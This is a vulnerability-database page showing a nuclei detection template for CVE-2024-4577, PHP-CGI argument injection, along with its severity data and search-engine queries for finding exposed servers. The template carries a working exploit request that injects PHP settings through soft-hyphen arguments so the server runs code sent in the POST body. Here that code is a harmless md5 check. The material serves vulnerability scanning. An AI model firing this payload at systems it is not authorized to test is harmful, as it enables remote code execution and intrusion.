Lucene search
K

PHP CGI - Argument Injection

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 850 Views

PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP. Successful exploitation could lead to remote code execution on the affected system. Apply the vendor-supplied patches or upgrade to a non-vulnerable version

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Php
9 Jun 202423:32
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
23 Jun 202505:27
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
7 Jun 202409:42
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
8 Jun 202406:36
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
11 Jun 202415:11
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
14 Oct 202409:11
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
7 Jun 202409:51
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
12 Jun 202411:50
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
6 Jul 202419:37
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
13 Jun 202414:25
githubexploit
Rows per page
id: CVE-2024-4577

info:
  name: PHP CGI - Argument Injection
  author: Hüseyin TINTAŞ,sw0rk17,s4e-io,pdresearch
  severity: critical
  description: |
    PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
  impact: |
    Successful exploitation could lead to remote code execution on the affected system.
  remediation: |
    Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
  reference:
    - https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577
    - http://www.openwall.com/lists/oss-security/2024/06/07/1
    - https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
    - https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4577
    cwe-id: CWE-78
    epss-score: 0.99987
    epss-percentile: 0.99983
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: php
    product: php
    shodan-query:
      - cpe:"cpe:2.3:a:php:php"
      - http.title:"php warning" || "fatal error"
      - php.ini
      - the requested resource <code class="url">
      - x-powered-by:"php"
    fofa-query: title="php warning" || "fatal error"
    google-query: intitle:"php warning" || "fatal error"
  tags: cve,cve2024,php,cgi,rce,kev,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

    body: |
      <?php echo md5("CVE-2024-4577"); ?>

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "3f2ba4ab3b260f4c2dc61a6fac7c3e8a"
# digest: 4a0a0047304502200bf4fb6c504f55bbe284108b56af86da412c1b5a62aee3908a965ca1abc1b06a022100d59df3e7c0cf3bb023a09faec6fdc69371fe8961bb05fea0aa4a8d1a3448d12f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.99987
SSVC
850